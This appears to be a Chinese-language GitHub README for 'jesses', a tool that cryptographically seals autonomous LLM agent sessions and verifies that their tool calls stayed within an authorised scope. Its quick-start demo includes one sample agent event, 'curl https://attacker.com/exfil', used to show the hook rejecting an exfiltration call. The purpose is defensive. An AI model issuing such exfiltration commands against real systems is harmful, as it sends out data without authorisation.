Hybirdss/jesses
GitHub: Hybirdss/jesses
为自主 LLM 代理生成带加密证明的交付物并支持完整性验证的项目。
Stars: 1 | Forks: 0
# jesses
[](https://github.com/Hybirdss/jesses/actions/workflows/ci.yml)
[](./LICENSE)
[](https://pkg.go.dev/github.com/Hybirdss/jesses)
加密认证的自主 LLM 代理会话。当代理生成漏洞赏金报告、渗透测试发现或 B2B 合规运行时,`jesses` 会伴随交付物发出一个不可篡改的 `.jes` 文件。分类分析师可通过一条命令验证它,并且从数学上确认代理始终处于授权的操作范围内。

## 快速开始
```
git clone https://github.com/Hybirdss/jesses && cd jesses
go build -o jesses ./cmd/jesses/
./jesses init-scope
cat <<'EOF' | ./jesses hook --fake-rekor
{"tool":"bash","input":{"command":"curl https://api.target.com/users"}}
{"tool":"bash","input":{"command":"curl https://attacker.com/exfil"}}
{"_action":"close"}
EOF
./jesses verify --offline session.jes
./jesses view session.jes
```
或者在 [`examples/demo-bounty/reproduce.sh`](./examples/demo-bounty/reproduce.sh) 中运行完整的 7 事件演示。
## 功能
八个工具使用事件中采样判决,其中三个在钩子时间被拒绝:

`jesses stats` 是同一会话的紧凑仪表板,高亮显示被拒绝标记的主机:

`jesses show ` 在不运行验证的情况下漂亮打印信封谓词 — 适用于快速扫描和在 PR 描述中嵌入:

以上三个输出均为 [`examples/demo-bounty/reproduce.sh`](./examples/demo-bounty/reproduce.sh) 的真实截图。重新生成它们可使用 `LC_ALL=C script -qc "./jesses …" out.ansi` 管道至 [`ansi2svg.py`](./examples/demo-bounty/screenshots/ansi2svg.py)。
七个门控,每个对应一个特定威胁([`THREAT_MODEL.md`](./THREAT_MODEL.md)):
| 门控 | 防御 |
|---|---|
| G1 信封签名 | 密钥替换 |
| G2 Merkle 根 | 日志编辑 / 截断 / 选择性删除 |
| G3 Rekor 提交前 | 会话伪造 / 回溯日期 |
| G4 范围哈希 | 策略替换 |
| G5 策略合规 | 运行时范围违规 |
| G6 OTS 锚点(建议) | 超出 Rekor 的外部时间锚定 |
| G7 可交付成果溯源 | 会话前数据注入报告 |
## 两个独立实现
```
$ cd verifier-js && node test.mjs
✓ happy-path ✓ policy-breach ✓ tampered-log
3/3 vectors conform to Go reference implementation
```
- Go 参考实现:`internal/verify`
- JavaScript:`verifier-js/` — 零依赖,仅使用 Node 20+ 内置模块
- 规范语料库: [`spec/test-vectors/v0.1/`](./spec/test-vectors/) — 两种验证器必须生成字节一致的 `Report` JSON。如需添加第三个实现,请参阅 [`verifier-js/README.md`](./verifier-js/README.md)。
## 子命令
```
jesses verify 6-gate verification (7 if --report)
jesses view [--follow] [--report md] local HTTP viewer, 60s TTL
jesses run -- [args] wrap a child process, auto-finalize
jesses hook stdin-driven agent harness hook
jesses stats hygiene dashboard
jesses cite emit a footnote def for one event
jesses report --bind bind a report to the envelope (G7)
jesses init-scope write a scope.txt template
jesses version
```
## 进程绑定包装
`jesses run -- [args]` 在 jesses 自身进程下启动 `` 作为子进程。两条合成事件将证明声明的 `[wrap_start, wrap_end]` 时间范围;子进程的 stdout/stderr 会同时输出到 `session.stdout.log` 和 `session.stderr.log` 以及审计日志。信封所述即所证,无额外内容。
## 可交付成果溯源(G7)
报告可携带脚注引用,将每个声明绑定到特定的审计日志事件:
```
The endpoint returned user 42's PII despite the token being for user 10 [^ev:3].
[^ev:3]: event #3 @ 2026-04-16T12:05:22Z — `bash: curl https://api.target.com/v1/users/42` — sha256 `7a3f5c89…`
```
`jesses report --bind report.md session.jes` 会哈希该文件并将其纳入信封,同时验证引用。`jesses verify --report report.md session.jes` 会端到端重新检查所有内容。未引用的事实行会根据 `--bare-policy=allow|warn|strict` 标记。
## 架构
```
agent harness (Claude Code / Cursor / Cline / custom)
│ tool-use event JSON (line-delimited, stdin)
▼
┌────────────────────────────────────────────────────────────┐
│ jesses hook / jesses run │
│ │
│ dispatch → per-tool extractor → []Destination │
│ ↓ │
│ policy.Evaluate → Decision (allow/warn/deny) │
│ ↓ │
│ audit.Append → canonical JSON → Merkle leaf │
│ │
│ at session_start: precommit.Submit(Rekor) │
│ at session_end: attest.Build(envelope) + ots.Submit │
└────────────────────────────────────────────────────────────┘
│ session.jes (in-toto ITE-6 + ed25519 signature)
▼
verifier — Go or JavaScript (same 7 gates, same Report)
```
完整布局: [`ARCHITECTURE.md`](./ARCHITECTURE.md)。架构决策记录: [`docs/adr/`](./docs/adr/)。
## 安装
从源码构建(需要 Go 1.22+):
```
go install github.com/Hybirdss/jesses/cmd/jesses@latest
```
已发布签名二进制文件(通过 cosign 无密钥签名、Fulcio + Rekor、SLSA 构建 L3 溯源、SBOM)位于 [发布页面](https://github.com/Hybirdss/jesses/releases)。
## 集成
| 集成 | 方式 |
|---|---|
| Claude Code | 标准输入钩子模式 |
| Cursor / Cline | 相同标准输入格式 |
| 自定义 Go 集成 | 嵌入 [`pkg/jesses`](./pkg/jesses) — 稳定 API |
| GitHub Actions / CI | `jesses verify --json --offline session.jes` |
## 仓库结构
```
cmd/jesses/ the CLI + embedded HTML viewer
internal/
audit/ append-only canonical log writer
merkle/ RFC 6962 byte-exact with Certificate Transparency
policy/ scope.txt parser + 5-namespace matcher
shellparse/ tokenizer + segment splitter
extractors/ per-tool destination extractors (bash, path, web, mcp)
session/ Open/Append/Close lifecycle
precommit/ SCT-analog session-start commitment
rekor/ transparency-log client
ots/ OpenTimestamps calendar client
attest/ in-toto ITE-6 envelope
provenance/ deliverable-to-log binding (G7)
verify/ six/seven-gate verifier
pkg/jesses/ public Go API for embedders
verifier-js/ JavaScript second implementation
spec/test-vectors/v0.1/ cross-implementation conformance corpus
examples/demo-bounty/ reproducible end-to-end demo
docs/adr/ architecture decision records
```
## 指标
- **218 个 Go 测试 + 3 个 JavaScript 一致性向量**
- **每个生产包零外部依赖**
- **钩子路径延迟**:简单场景 3 μs,对抗场景 15 μs,100 段流水线 133 μs
- **模糊测试**:1.2 M 次执行,速度 170 k/s,持续 10 秒,零崩溃
## 进一步阅读
- [`WHY.md`](./WHY.md) — 为何存在此项目以及为何现在是发布窗口
- [`FAQ.md`](./FAQ.md) — 对抗性问题:为何不直接使用 Sigstore、与 Aegis 的区别、什么会首先失效
- [`THREAT_MODEL.md`](./THREAT_MODEL.md) — 提交者即对手的前提及八个已枚举攻击
- [`SPEC.md`](./SPEC.md) — 规范 v0.1
- [`docs/adr/`](./docs/adr/) — 架构决策记录
## 许可证
MIT。参见 [`LICENSE`](./LICENSE)。
## 贡献
参见 [`CONTRIBUTING.md`](./CONTRIBUTING.md)。拉取请求需包含 DCO 签署。对于安全问题,请参考 [`SECURITY.md`](./SECURITY.md)。
标签:CI集成, EVTX分析, Go语言, in-toto, Merkle树, OpenTimestamps, Rekor, 会话密封, 加密认证, 区块链, 可验证审计, 安全交付物, 数据可视化, 日志审计, 程序破解, 篡改检测, 自主LLM代理, 自动化代理, 证明标准, 软件供应链安全, 远程方法调用